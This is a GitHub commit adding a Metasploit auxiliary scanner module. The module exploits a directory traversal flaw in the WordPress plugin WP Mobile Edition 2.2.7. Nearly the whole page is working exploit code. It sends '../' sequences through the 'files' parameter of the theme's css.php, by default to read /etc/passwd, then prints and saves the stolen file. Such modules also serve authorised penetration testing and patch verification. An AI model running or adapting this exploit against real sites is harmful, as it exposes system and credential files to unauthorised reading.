Skip to content

Commit 0f1cf1d

Browse files
committed
Add Module WP Mobile Edition Plugin File Read Vuln
1 parent 3d851d8 commit 0f1cf1d

File tree

1 file changed

+80
-0
lines changed

1 file changed

+80
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'WordPress Mobile Edition File Read Vulnerability',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in WordPress Plugin
19+
"WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the
20+
web server privileges. Stay tuned to the correct value in TARGETURI.
21+
},
22+
'References' =>
23+
[
24+
['EDB', '77777']
25+
],
26+
'Author' =>
27+
[
28+
'TO DO', # Vulnerability discovery
29+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/wordpress/"]),
38+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
39+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])
40+
], self.class)
41+
end
42+
43+
def run_host(ip)
44+
traversal = "../" * datastore['DEPTH']
45+
filename = datastore['FILEPATH']
46+
filename = filename[1, filename.length] if filename =~ /^\//
47+
48+
res = send_request_cgi({
49+
'method' => 'GET',
50+
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus',
51+
'css', 'css.php'),
52+
'vars_get' =>
53+
{
54+
'files' => "#{traversal}#{filename}"
55+
}
56+
})
57+
58+
if res &&
59+
res.code == 200 &&
60+
res.body.length > 0
61+
62+
print_status('Downloading file...')
63+
print_line("\n#{res.body}\n")
64+
65+
fname = datastore['FILEPATH']
66+
67+
path = store_loot(
68+
'rips.traversal',
69+
'text/plain',
70+
ip,
71+
res.body,
72+
fname
73+
)
74+
75+
print_good("#{peer} - File saved in: #{path}")
76+
else
77+
print_error("#{peer} - Nothing was downloaded")
78+
end
79+
end
80+
end

0 commit comments

Comments
 (0)